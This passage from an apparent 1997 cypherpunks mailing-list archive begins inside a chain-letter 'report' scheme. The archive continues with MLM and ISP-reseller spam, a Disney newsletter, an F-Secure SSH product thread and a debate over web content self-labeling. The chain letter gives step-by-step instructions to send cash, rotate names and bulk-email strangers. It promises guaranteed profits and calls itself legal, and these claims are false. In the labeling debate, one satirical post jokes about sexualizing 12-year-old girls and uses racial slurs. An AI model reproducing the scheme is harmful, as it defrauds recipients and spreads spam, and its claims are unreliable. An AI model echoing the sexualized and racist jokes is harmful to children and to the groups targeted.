Let's say that you decide to start small, just to see how it goes, and
we'll assume you and all those involved send out 2,000 programs each.
Let's also assume that the mailing receives a .5% response.  Using a
good list the response could be much better.  Also many people will
send out hundreds of thousands of programs instead of 2,000.  But
continuing with this example, you send out only 2,000 programs.  With
a 5% response, that is only 10 orders for REPORT #1.  Those 10 people
respond by sending out 2,000 programs each for a total of 20,000.  Out
of those .5%, 100 people respond and order REPORT #2.  Those 100 mail
out 2,000 programs each for a total of 200,000.  The .5% response to
that is 1,000 orders for REPORT #3.  Those 1,000 send out 2,000
programs each for a 2,000,000 total.  The .5% response to that is
10,000 orders for REPORT #4.  That's 10,000 five dollar bills for you.
CASH!!!!  Your total income in this example is $50 + $500 + $5000 +
$50,000 for a total of $55,550!!!!

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU
MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM!
DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE
OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000.  Believe me,
many people will do that and more!  By the way, your cost to
participate in this is practically nothing.  You obviously already
have an internet connection and email is FREE!!!  REPORT#3 will show
you the best methods for bulk emailing and purchasing email lists.

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.  It does not
require you to come in contact with people, do any hard work, and best
of all, you never have to leave the house except to get the mail.  If
you believe that someday you'll get that big break that you've been
waiting for, THIS IS IT!  Simply follow the instructions, and your
dream will come true.  This multi-level email order marketing program
works perfectly...100% EVERY TIME.  Email is the sales tool of the
future.  Take advantage of this non-commercialized method of
advertising NOW!!  The longer you wait, the more people will be doing
business using email.  Get your piece of this action!!

MULTI-LEVEL MARKETING (MLM) has finally gained respectability.  It is
being taught in the Harvard Business School, and both Stanford
Research and The Wall Street Journal have stated that between 50% and
65% of all goods and services will be sold throughout Multi-level
Methods by the mid to late 1990's.  This is a Multi-Billion Dollar
industry and of the 500,000 millionaires in the US, 20% (100,000) made
their fortune in the last several years in MLM.  Moreover, statistics
show 45 people become millionaires everyday through Multi-Level
Marketing.

INSTRUCTIONS

We at Erris Mail Order Marketing Business, have a method of raising
capital that REALLY WORKS 100% EVERY TIME.  I am sure that you could
use $50,000 to $125,000 in the next 20 to 90 days.  Before you say
"Bull", please read the program carefully.

This is not a chain letter, but a perfectly legal money making
opportunity.  Basically, this is what we do:  As with all multi-level
business, we build our business by recruiting new partners and selling
our products.  Every state in the USA allows you to recruit new multi-
level business partners, and we offer a product for EVERY dollar sent.
YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not
involved in personal selling.  You do it privately in your own home,
store or office.

This is the GREATEST Multi-level Mail Order Marketing anywhere!

Step (1)   Order all four 4 REPORTS listed by NAME AND NUMBER.  Do 
           this by ordering the REPORT from each of the four 4 names 
           listed on the next page.  For each REPORT, send $5 CASH and 
           a SELF- ADDRESSED, STAMPED envelope  (BUSINESS SIZE #10) to
           the person listed for the SPECIFIC REPORT.  International
           orders should also include $1 extra for postage.  It is
           essential that you specify the NAME and NUMBER of the
           report requested to the person you are ordering from.  You
           will need ALL FOUR 4 REPORTS because you will be REPRINTING
           and RESELLING them. DO NOT alter the names or sequence
           other than what the instructions say.  IMPORTANT:  Always
           provide same-day service on all orders.

Step (2)   Replace  the  name  and  address  under  REPORT #1  with
           yours,  moving the one that was there down to REPORT #2.
           Drop  the  name and address under REPORT #2 to REPORT #3,
           moving the one that was there to REPORT #4.  The name and
           address that was under REPORT #4 is dropped from the list
           and this party  is  no doubt on the way to the bank.  When
           doing   this,   make   certain   you  type  the  names  and
           addresses ACCURATELY!  DO NOT MIX UP MOVING 
           PRODUCT/REPORT POSITIONS!!!

Step (3)   Having made the required changes in the NAME list, save it
           as a text (.txt) file in it's own directory to be used with
           whatever email program you like.  Again, REPORT #3 will
           tell you the best methods of bulk emailing and acquiring
           email lists.

Step (4)   Email a copy of the entire program (all of this is very
           important) to everyone whose address you can get your hands
           on. Start with friends and relatives since you can
           encourage them to take  advantage of this  fabulous 
           money-making opportunity.  That's what I did.  And they
           love me now, more than ever.  Then, email to anyone and
           everyone!  Use your imagination!  You can get email
           addresses from companies on the internet who specialize in
           email mailing lists.  These are very cheap, 100,000
           addresses for around $35.00.

IMPORTANT:  You won't get a good response if you use an old list, so
always request a FRESH, NEW list. You will find out where to purchase
these lists when you order the four 4 REPORTS.

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!

REQUIRED REPORTS

***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER

____________________________________________________
REPORT #1 
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM:  

BC Enterprises
2899 Agoura Rd, #299
Westlake Village, CA 91361

____________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:

LDR Enterprises	
204 High Ridge Dr
Belleville, IL  62223

____________________________________________________
REPORT #3 
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:

C & A Enterprises
1003 W Main #1B
Vienna, IL  62995

____________________________________________________
REPORT #4 
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:

Hill Enterprises
7060 W. Sheridan Rd.
Suite 311
Chicago, IL

____________________________________________________

CONCLUSION

I am enjoying my fortune that I made by sending out this program. You
too, will be making money in 20 to 90 days, if you follow the SIMPLE
STEPS outlined in this mailing.

To be financially independent is to be FREE.  Free to make financial
decisions as never before.  Go into business, get into investments,
retire or take a vacation.  No longer will a lack of money hold you
back.

However, very few people reach financial independence, because when
opportunity knocks, they choose to ignore it.  It is much easier to
say "NO" than "YES", and this is the question that you must answer. 
Will YOU ignore this amazing opportunity or will you take advantage of
it? If you do nothing, you have indeed missed something and nothing
will change.  Please re-read this material, this is a special
opportunity. If you have any questions, please feel free to write to
the sender of this information.  You will get a prompt and informative
reply.

My method is simple.  I sell thousands of people a product for $5 that
costs me pennies to produce and email.  I should also point out that
this program is legal and everyone who participates WILL make money.
This is not a chain letter or pyramid scam.  At times you have
probably received chain letters, asking you to send money, on faith,
but getting NOTHING in return, NO product what-so-ever!  Not only are
chain letters illegal, but the risk of someone breaking the chain
makes them quite unattractive.

You are offering a legitimate product to your people.  After they
purchase the product from you, they reproduce more and resell them.
It's simple free enterprise.  As you learned from the enclosed
material, the PRODUCT is a series of four 4 FINANCIAL AND BUSINESS
REPORTS.  The information contained in these REPORTS will not only
help you in making your participation in this program more rewarding,
but will be useful to you in any other business decisions you make in
the years ahead. You are also buying the rights to reprint all of the
REPORTS, which will be ordered from you by those to whom you mail this
program.  The concise one and two page REPORTS you will be buying can
easily be reproduced at a local copy center for a cost off about 3
cents a copy. Best wishes with the program and Good Luck!

"IT WAS TRULY AMAZING"

"Not being the gambling type, it took me several weeks to make up my
mind to participate in this program.  But conservative as I am, I
decided that the initial investment was so little that there was no
way that I could not get enough orders to at least get my money back. 
BOY, was I ever surprised when I found my medium sized post office box
crammed with orders!  I will make more money this year than any ten
years of my life before."

                                        Mary Riceland, Lansing, MI

TIPS FOR SUCCESS

Send for your four 4 REPORTS immediately so you will have them when
the orders start coming in.  When you receive a $5 order, you MUST
send out the product/service to comply with US Postal and Lottery
laws.  Title 18 Sections 1302 and 1341 specifically state that:  "A
PRODUCT OR SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED."

WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:

1.    Name your new company. You can use your own name if you
       desire.

2.    Get a post office box (preferred).

3.    Edit the names and addresses on the program. You must
       remember, your name and address go next to REPORT #1 
       and the others all move down one, with the fourth one being 
       bumped OFF the list.

4.   Obtain as many email addresses as possible to send until you
       receive the information on mailing list companies in REPORT #3.

5.   Decide on the number of programs you intend to send out.  The
      more you send, and the quicker you send them, the more money
      you will make.

6.    After mailing the programs, get ready to fill the orders.

7.   Copy the four 4 REPORTS so you are able to sent them out as
      soon as you receive an order. IMPORTANT: ALWAYS PROVIDE
      SAME-DAY SERVICE ON ORDERS YOU RECEIVE!

8.    Make certain the letter and reports are neat and legible.

YOUR GUARANTEE

The check point which GUARANTEES your success is simply this:  you
must receive 15 to 20 orders for REPORT #1.  This is a must!!!  If you
don't within two weeks, email out more programs until you do.  Then a
couple of weeks later you should receive at least 100 orders for
REPORT #2, if you don't, send out more programs until you do.  Once
you have received 100 or more orders for REPORT #2, (take a deep
breath) you can sit back and  relax,  because  YOU  ARE  GOING TO 
MAKE  AT  LEAST  $50,000. Mathematically  it  is  a  proven 
guarantee.   Of  those  who  have participated in the program and
reached the above GUARANTEES-ALL have reached their $50,000 goal. 
Also, remember, every time your name is moved down the list you are in
front of a different REPORT, so you can keep track of your program by
knowing what people are ordering from you. IT'S THAT EASY, REALLY, IT
IS!!!

REMEMBER:
"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."
"INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR
SEARCH FOR IT FOR THE REST OF YOUR LIFE."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: info@we-work-for-you.com
Date: Thu, 24 Jul 1997 14:34:23 -0700 (PDT)
To: info@we-work-for-you.com
Subject: Put Us To Work For You TODAY!!
Message-ID: <199707241733.NAA03494@hitsrus.com>
MIME-Version: 1.0
Content-Type: text/plain


*** To be removed from all of our future e-mails please
reply with a subject of 'remove' or to be added to a
national remove list please visit http://www.iemmc.org
for name removal information. ***

Visit http://www.we-work-for-you.com TODAY!!

How many times has opportunity knocked and you have not been at 
home?  Today, please take a moment to OPEN THIS DOOR! For many years, 
I have been convinced that there is a business opportunity out there 
that any and everyone could take advantage of, because of the sheer 
simplicity of the business.

I have found such a business opportunity!  What if you could have 
your own HOME BUSINESS and you could hire sales people to do all 
of the selling for you with NO PERSONAL SELLING OF ANY KIND?  
This business has NO OVERHEAD, NO EMPLOYEES, NO SELLING, NO INVENTORY,
NO MEETINGS, NO HASSLES, and did I mention 
NO PERSONAL SELLING OF ANY KIND!!

The best part of this business is that you are not paying the thousands 
of people who will be SELLING FOR YOU!  If you choose you can just sit 
back and cash your checks.  Is this free money?  Not exactly, but it's 
as close as it gets.  You are going to be making money from other 
people's marketing efforts.  The fact that you are reading this e-mail 
is proof that we will be working for you!

It will only take a few minutes to look further at this AMAZING 
OPPORTUNITY!!  Someone HAS to make money from our marketing efforts.  
This could be you!

Please visit our Internet web site at : http://www.we-work-for-you.com
                                  or
Reply to this e-mail with 'info' as the subject and you will quickly 
receive an informative e-mail reply.

There is NO OBLIGATION for looking at our web site or replying to our 
e-mail so take a few moments to look at this INCREDIBLE BUSINESS OPPORTUNITY!

Sincerely,

Razor Sharp Financial Services
       ~ Helping People Achieve Financial Freedom

info@we-work-for-you.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Family.COM" <mail@family.com>
Date: Sun, 27 Jul 1997 06:50:02 -0700 (PDT)
To: dcomnewsletter3@disneyblast.com
Subject: News from Disney Online - July 1997
Message-ID: <33D81496.35FEBFB0@family.com>
MIME-Version: 1.0
Content-Type: text/plain


Disney Online welcomes your questions and comments. If you have a
question or comment, please point your browser to http://www.family.com,
and click on "Write Us" in the right hand index of our home page. We
suggest you copy into your message the part of the newsletter that
relates to your question!

Dear Disney.com Guest,

We'd like to introduce you to a site designed to meet all your parenting
needs -- Disney's Family.com.

In the weeks ahead, Family.com will bring you many special features to
help you be the best parent possible.  Don't miss our stories on travel,
food, activities, child development and more.

~~~~~~~~~~~~~~~~~~~~~FREE OFFER~~~~~~~~~~~~~~~~~~~

This month we have exciting news. For 30 days, you can see and use all
of Family.com for free, including our searchable database of stories, an
interactive cookbook to help you cook better and faster, and our large
network of bulletin boards. You also get access to  all of our local
event calendars, features and resources, provided by over 100 regional
parenting publications in the U.S. and Canada.

Come to http://www.family.com and enjoy the entire site for free!


Here's just some of what's happening on Family.com this week :

~~~~~~~~~~~~~~~~~~PARENTING EXPERTS~~~~~~~~~~~~~~~~

* Penelope Leach helps you deal with a clingy toddler

* Jan Faull tells how to get big kids to do their chores

* Barton Schmitt explains how to handle the five kinds of temper
tantrums.

You can also find advice about your own specific parenting problems in
our vast database, which includes past columns from these experts.  Read
it all at:

http://www.family.com

~~~~~~~~~~~~~~~~~~~ACTIVITIES~~~~~~~~~~~~~~~~~~~~~

* Ideas for games that will keep kids cool on hot summer days

Search the database for age-appropriate ideas using supplies you already
have on hand.  Find it at http://www.family.com.

~~~~~~~~~~~~~~~~~~~~TRAVEL~~~~~~~~~~~~~~~~~~~~~~

* Ideas for games in the car from Penny Whistle, a popular feature that
originally ran in Family Planet.


~~~~~~~~~~~~~~~~~~~~~FOOD~~~~~~~~~~~~~~~~~~~~~~~

* Quick hot weather meals using just a can of tuna

Plus unlimited access to our Recipe Express, an interactive cookbook
that will find a recipe for you, make the shopping list, and even help
plan your meals.  Check out how easy it is at:

http://www.family.com

~~~~~~~~~~~~~~~~~~~~LEARNING~~~~~~~~~~~~~~~~~~~~

* A guide to teaching your kids how to handle (and appreciate) money

Search the database for ideas to help your children keep learning all
summer long.

~~~~~~~~~~~~~~~~~~~D-CARDS~~~~~~~~~~~~~~~~~~~~~~~~

* You get unlimited free access to D-Cards, our library of electronic
greeting cards. We've got one for every occasion. Nothing says "Happy
Birthday" or "I'm thinking of you" like a D-Card.  To send your message
today, visit:

http://www.family.com

~~~~~~~~~~~~~~~~~~~ALL THIS PLUS~~~~~~~~~~~~~~~~~

**EVERY WEEK DAY**

--a different special travel deal

and

--a different project to keep kids busy and interested


And these **NEW FEATURES**, provided by YOU, our guests:

--WE WERE THERE, stories from real families all across the country about
where they went on vacation -- and what they liked and didn't like 

and

--FAVORITE RECIPES -, appetizers, main dishes, side dishes and desserts
from your recipe files.


FINALLY, we put it all together for you on our Bulletin Boards. Find
even more ideas, and exchange information, help and advice with other
parents just like you.

It's all at http://www.family.com.

===================================================

We've sent you this note because of your previous interest in
family-related material. If you no longer wish to receive news about
Family.com, please go to http://www.family.com/News and we'll promptly
remove you from the list.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 05378440@d.com
Date: Thu, 24 Jul 1997 22:21:03 -0700 (PDT)
To: members@aol.com
Subject: Toll Free 800# Internet Access for $19.95 mo
Message-ID: <199707250520.WAA29493@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


*******************************************************************************
Market toll-free 800# high speed 56k Internet access to customers 
     priced at $19.95 per month - flat rate - with no hidden fees. 
     *********************************************************************

*  Toll free connection great for travelers & rural residents. 
*  All accounts include 5 megs of webspace.
*  Marketing Partners given 15 megs of web space.
*  Partners needed to market. Only $29.95 to become Marketing Partner.
*  Fast Start Bonus of $18 for each new subscriber you sign-up, paid weekly, 
    plus downline royalties of 3% to 8% paid monthly.

To receive instant information on toll free Internet access,
send us an email at: 800intrnet@answerme.com

Click Here  ------>>  mailto:800intrnet@answerme.com  <<------  Click Here

Put the word " Internet " in the subject and click send, you will 
immediately receive details.

Or visit our Web Site at:  http://205.152.38.41/800access.htm  

To hear plan through voice message (24 hours), call 901-664-6886

---------------------------------------------------------------------------------------------------------------------------
To remove from mailing list send an email to: details1@savetrees.com
   Click Here --->>  mailto:details1@savetrees.com  <<--- Click Here
              Put the word " Remove " in the subject and click send  
Disregard that the address says details1, it is only for removing from list
--------------------------------------------------------------------------------------------------------------------------









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Petri Laakkonen <Petri.Laakkonen@DataFellows.com>
Date: Fri, 25 Jul 1997 02:35:50 -0700 (PDT)
To: Tom Helenius <F-Secure-Press-Global@DataFellows.com
Subject: Re: Data Fellows announces F-Secure SSH Tunnel&Terminal
Message-ID: <3.0.32.19970725011140.008fac60@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi guys,

I'm afraid of that US sales has fallen off the tracks. We need to catch up
ASAP.


At 07:58 PM 7/24/97 +0200, Tom Helenius wrote:
>FOR IMMEDIATE RELEASE
>23 July, 1997
>
>Data Fellows announces F-Secure SSH Tunnel&Terminal
>
What's this product all in all ? Has this now replaced F-Secure SSH or is
this one additional derivative of SSH a'la ISP SSH ?

Are the features same as for the most recent SSH clients/servers ? HOw does
this product differ from SSH ?

Any data sheets ?

Is the software

a) shipping
b) downloadable from the web ?
>The remote worker can use e-mail, Internet browser, database tools and all
>the usual applications at home, on the road or in any place with Internet
>access. The big difference, though invisible to the remote worker, is that
>all data communication between the server in the office and the remote user
>is flowing through an encrypted tunnel.
>
Does this configure itself automatically for most popular office apps as
discussed some time earlier, or do admins still need to do the installation
manually for each computer or count on users doing this themselves ?

>F-Secure SSH Tunnel&Terminal provides strong encryption of data and thus
>sets a new standard for secure remote working. Existing solutions like
>Cisco Systems L2F, IETF L2TP and firewalls don't provide strong encryption
>and authentication, which makes these solutions insecure against
>eavesdropping and IP spoofing attacks. In addition to encrypted tunnels, 
>F-Secure Tunnel&Terminal also provides secure terminal connections to UNIX
>hosts and secures UNIX X11 applications.
>
What would be F-Secure Tunnel's added value over MS pptp ?
>
>The automatic deployment tool enables straightforward company-wide
>installation and updates.
>
Interesting. Tell us more about this ?
>
>
>F-Secure SSH Tunnel&Terminal is available for win3.1, win95, winNT and UNIX
>operating systems worldwide in the end of July, 1997.
>
How about our friends from Cupertino (e.g. Apple) ?
>
Thanks for the additional info in advance,

Petri

--------------------------------------------------------------------
Petri.Laakkonen@DataFellows.com, World Wide Web: http://www.DataFellows.com

Data Fellows U.S headquarters has moved ! Our new contacts as of March
24th, 1997 are:

Data Fellows 
675 N. First Street, Suite 605
San Jose, CA 95112
phone (408) 938-6700, fax (408) 938-6701

********************************************************************* 
* 				F-Secure              		      *
*            Award-winning Security for Peace of Mind               *
*               from the Desktop to the Internet                    *
*									      *	
*	 	http://www.DataFellows.com/                           *
********************************************************************




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: info@we-work-for-you.com
Date: Fri, 25 Jul 1997 11:37:02 -0700 (PDT)
To: info@we-work-for-you.com
Subject: Put Us To Work For You TODAY!!
Message-ID: <199707251433.KAA29083@hitsrus.com>
MIME-Version: 1.0
Content-Type: text/plain


*** To be removed from all of our future e-mails please
reply with a subject of 'remove' or to be added to a
national remove list please visit http://www.iemmc.org
for name removal information. ***

Visit http://www.we-work-for-you.com TODAY!!

How many times has opportunity knocked and you have not been at 
home?  Today, please take a moment to OPEN THIS DOOR! For many years, 
I have been convinced that there is a business opportunity out there 
that any and everyone could take advantage of, because of the sheer 
simplicity of the business.

I have found such a business opportunity!  What if you could have 
your own HOME BUSINESS and you could hire sales people to do all 
of the selling for you with NO PERSONAL SELLING OF ANY KIND?  
This business has NO OVERHEAD, NO EMPLOYEES, NO SELLING, NO INVENTORY,
NO MEETINGS, NO HASSLES, and did I mention 
NO PERSONAL SELLING OF ANY KIND!!

The best part of this business is that you are not paying the thousands 
of people who will be SELLING FOR YOU!  If you choose you can just sit 
back and cash your checks.  Is this free money?  Not exactly, but it's 
as close as it gets.  You are going to be making money from other 
people's marketing efforts.  The fact that you are reading this e-mail 
is proof that we will be working for you!

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 25 Jul 1997 10:52:50 -0700 (PDT)
To: James Love <love@cptech.org>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33D8E731.8A663470@cptech.org>
Message-ID: <Pine.GSO.3.95.970725104808.22013B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


Jamie, as you know, we disagree on your approach to self-labeling.

For the purposes of argument, let us say that we can agree that some,
extreme, sites are unsuitable for children. But the problems arise not on
the extremes, but in the great grey center.

Where do you draw the line? Therein lies the rub.

-Declan


On Fri, 25 Jul 1997, James Love wrote:

> Tim, if you think that no web site are unambiguously inappropriate for
> children, then you are in a state of denial.  However, while I don't
> expect to change your mind on that point, let me set the record straight
> on your note.  I don't favor RSACi or other PICS systems.  I think these
> are a mistake, and should be resisted.  However, I do favor a far less
> ambitious and less informative system (less is more, as far as I am
> concerned), which involves a simple, single voluntary tag, selected by
> the web page publisher, at their discretion, of the nature of 
> 
> <META NAME="Rating" CONTENT="adult">
> 
> I think this is quite different from RSACi or SafeSurf's system, for the
> reasons mentioned by my missive to Jonah.  
> 
> 
>    Jamie   <love@cptech.org>
> 
> 
> Tim May wrote:
> > 
> > At 9:16 AM -0700 7/25/97, Declan McCullagh wrote:
> > >---------- Forwarded message ----------
> > >Date: Fri, 25 Jul 1997 12:08:32 -0400 (EDT)
> > >From: James Love <love@cptech.org>
> > >To: Jonah Seiger <jseiger@cdt.org>
> > >Cc: Declan McCullagh <declan@well.com>,
> > fight-censorship@vorlon.mit.edu,
> > >    chris_barr@cnet.com
> > >Subject: Re: CDT, RSACi, and "public service" groups
> > >
> > >
> > >Jonah, I think the problems with the RSACi rating system are pretty
> > >obvious, and I also think it should be obvious that *any* rating
> > system
> > >that would aspire to rate all or even a significant number of web
> > pages
> > >would be a bad thing.  That said, it seems to me that there exist web
> > >pages that are unambiguously inappropriate for children.  Has CDT
> > rejected
> > 
> > "Unambiguously inappropriate for children"?
> > 
> > No such thing. I can think of many, many things which many consider
> > inappropriate for children (what age?), but which others, including
> > myself,
> > consider perfectly appropriate. I see no particular need to recite
> > examples
> > here.
> > 
> > Even with "obscenity," whatever that is (I seem not to know it when I
> > see
> > it, which would make me a poor Supreme Court Justice), that there are
> > obscenity prosecutions and trials would seem to indicate that such
> > materials are not "unambigously obscene."
> > 
> > The "mandatory voluntary" PICS/RSACi ratings, with penalties
> > (presumably)
> > for "mislabeling," just are another form of content control.
> > 
> > If they are truly voluntary, then people are free to say that a nudist
> > site
> > is appropriate for children, or not to label at all...the null label
> > is
> > just another label.
> > 
> > (Nudist sites, in realspace as well as cyberspace, are a classic
> > example of
> > the difficulty of judging "appropriate for children." Some
> > jurisdicitions
> > are attempting to legislate against children being in nudist camps.
> > They
> > would even claim that children seeing adults and other children nude
> > is
> > "unambiguosly inappropriate." Others disagree. So, how would their web
> > site
> > be labeled?)
> > 
> > The notion that something is "unambiguously" inapproprate, obscene,
> > heretical, treasonous, whatever, is a flawed concept.
> > 
> > --Tim May
> > 
> > There's something wrong when I'm a felon under an increasing number of
> > laws.
> > Only one response to the key grabbers is warranted: "Death to
> > Tyrants!"
> > 
> > ---------:---------:---------:---------:---------:---------:---------:----
> > Timothy C. May              | Crypto Anarchy: encryption, digital
> > money,
> > tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms,
> > zero
> > W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information
> > markets,
> > Higher Power: 2^1398269     | black markets, collapse of governments.
> > "National borders aren't even speed bumps on the information
> > superhighway."
> 
> -- 
> _______________________________________________________
> James Love | Center for Study of Responsive Law
> P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
> http://www.cptech.org | love@cptech.org
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 25 Jul 1997 11:12:24 -0700 (PDT)
To: Declan McCullagh <love@cptech.org>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33D8E731.8A663470@cptech.org>
Message-ID: <v03102803affe9ada8a7f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:52 AM -0700 7/25/97, Declan McCullagh wrote:
>Jamie, as you know, we disagree on your approach to self-labeling.
>
>For the purposes of argument, let us say that we can agree that some,
>extreme, sites are unsuitable for children. But the problems arise not on
>the extremes, but in the great grey center.
>
>Where do you draw the line? Therein lies the rub.

I reject even the "we can agree that some, extreme, sites are unsuitable
for children" point.

If you don't want your children exposed to some material, stop them from
accessing the material.

Consider this, if the voluntary mandatory PICS/RSACi system gets deployed,
as I expect it will be (The Protection of Our Children Act of 1997, a sure
election winning issue), who will decide on what is a mislabeling?

And why should it be restricted to sexual issues?

Surely there are many good Christians (TM) who will argue that a site
devoted to "10 Reasons Jesus was a Fool" is "unambiguously inappropriate"
for their little Johnnies and Suzies.

And so on. The Net will end up recapitulating the battles which have raged
for several decades (and longer) about what materials are suitable or
unsuitable for children in school libraries.

Again, I view all of my writings, and my Lolita Recruitment Nudist Web
Page, as suitable for children of all ages, especially cute little
12-year-old girls!!!

(I'm not a perv, though, and I expect them to show some proof that they've
started to develop. In fact, I'll create a Web page devoted to how young
lolitas can prove they're developing womanhood. Obviously appropriate to
all.)

Seriously, if their parents don't want them exposed to this kind of site,
or to "sexual issues for young women," or "a boy's guide to older men," or
atheistic materials, or seditious, treasonous, Cypherpunkish materials,
then let those parents block access.

(And a "voluntary mandatory" label will not help, as folks like me will
_accurately label_ our material so as to appeal to these targets! Accurate
by our values. Here lies the real rub.)

Oh, and Declan's point that the real issues lie in the middle...well, tell
that to the Thomases, of Amateur Action. The real issues lie at the fringes.

--Tim May


Voluntary Mandatory Self-Rating of this Article
(U.S. Statute 43-666-970719).
Warning: Failure to Correctly and Completely Label any Article or Utterance
is a Felony under the "Children's Internet Safety Act of 1997," punishable
by 6 months for the first offense, two years for each additional offense,
and a $100,000 fine per offense. Reminder: The PICS/RSACi label must itself
not contain material in violation of the Act.

** PICS/RSACi Voluntary Self-Rating (Text Form) ** :

Suitable for Children: yes  Age Rating: 5 years and up.
Suitable for Christians: No Suitable for Moslems: No  Hindus: Yes
Pacifists: No  Government Officials: No  Nihilists: Yes  Anarchists: Yes
Vegetarians: Yes  Vegans: No  Homosexuals: No  Atheists: Yes
Caucasoids: Yes  Negroids: No  Mongoloids: Yes
Bipolar Disorder: No  MPD: Yes and No  Attention Deficit Disorder:Huh?

--Contains discussions of sexuality, rebellion, anarchy, chaos,torture,
regicide, presicide, suicide, aptical foddering.
--Contains references hurtful to persons of poundage and people of
color.Sensitive persons are advised to skip this article.

**SUMMARY**
Estimated number of readers qualified to read this: 1
Composite Age Rating: 45 years






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Love <love@cptech.org>
Date: Fri, 25 Jul 1997 11:41:12 -0700 (PDT)
To: Declan McCullagh <declan@well.com>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <Pine.GSO.3.95.970725104808.22013B-100000@well.com>
Message-ID: <33D8F403.245C04CD@cptech.org>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> 
> Jamie, as you know, we disagree on your approach to self-labeling.
> 
> For the purposes of argument, let us say that we can agree that some,
> extreme, sites are unsuitable for children. But the problems arise not
> on
> the extremes, but in the great grey center.
> 
> Where do you draw the line? Therein lies the rub.
> 
> -Declan


     Thanks for asking this question.  I think it is important.  I would
have the labeling system be something that suits the publisher of the
web page.  The web page publisher would decide if he or she wanted to
label the site as adult.  There wouldn't be a great gray center, in the
sense that the author/owner of the web page would make the decision to
label or not label.  Why would anyone label?  As you know, most porn
sites already have labeling out the whazoo.  (how is this spelled?)  
The problem is that the label takes so many different forms, browsers
can't filter the current labels, and that is why we have so much
interest in cybersiter and other AI programs.  This would make their
existing voluntary labeling systems actually work.  The simpler the
tagging system, and the less information it conveys, the less likely it
could be used to create a much more grandiose content labeling system. 
This is a pragmatic proposal.  I think it makes sense.


                  Jamie  <love@cptech.org>






> 
> On Fri, 25 Jul 1997, James Love wrote:
> 
> > Tim, if you think that no web site are unambiguously inappropriate
> for
> > children, then you are in a state of denial.  However, while I don't
> > expect to change your mind on that point, let me set the record
> straight
> > on your note.  I don't favor RSACi or other PICS systems.  I think
> these
> > are a mistake, and should be resisted.  However, I do favor a far
> less
> > ambitious and less informative system (less is more, as far as I am
> > concerned), which involves a simple, single voluntary tag, selected
> by
> > the web page publisher, at their discretion, of the nature of
> >
> > <META NAME="Rating" CONTENT="adult">
> >
> > I think this is quite different from RSACi or SafeSurf's system, for
> the
> > reasons mentioned by my missive to Jonah.
> >
> >
> >    Jamie   <love@cptech.org>
> >
> >
> > Tim May wrote:
> > >
> > > At 9:16 AM -0700 7/25/97, Declan McCullagh wrote:
> > > >---------- Forwarded message ----------
> > > >Date: Fri, 25 Jul 1997 12:08:32 -0400 (EDT)
> > > >From: James Love <love@cptech.org>
> > > >To: Jonah Seiger <jseiger@cdt.org>
> > > >Cc: Declan McCullagh <declan@well.com>,
> > > fight-censorship@vorlon.mit.edu,
> > > >    chris_barr@cnet.com
> > > >Subject: Re: CDT, RSACi, and "public service" groups
> > > >
> > > >
> > > >Jonah, I think the problems with the RSACi rating system are
> pretty
> > > >obvious, and I also think it should be obvious that *any* rating
> > > system
> > > >that would aspire to rate all or even a significant number of web
> > > pages
> > > >would be a bad thing.  That said, it seems to me that there exist
> web
> > > >pages that are unambiguously inappropriate for children.  Has CDT
> > > rejected
> > >
> > > "Unambiguously inappropriate for children"?
> > >
> > > No such thing. I can think of many, many things which many
> consider
> > > inappropriate for children (what age?), but which others,
> including
> > > myself,
> > > consider perfectly appropriate. I see no particular need to recite
> > > examples
> > > here.
> > >
> > > Even with "obscenity," whatever that is (I seem not to know it
> when I
> > > see
> > > it, which would make me a poor Supreme Court Justice), that there
> are
> > > obscenity prosecutions and trials would seem to indicate that such
> > > materials are not "unambigously obscene."
> > >
> > > The "mandatory voluntary" PICS/RSACi ratings, with penalties
> > > (presumably)
> > > for "mislabeling," just are another form of content control.
> > >
> > > If they are truly voluntary, then people are free to say that a
> nudist
> > > site
> > > is appropriate for children, or not to label at all...the null
> label
> > > is
> > > just another label.
> > >
> > > (Nudist sites, in realspace as well as cyberspace, are a classic
> > > example of
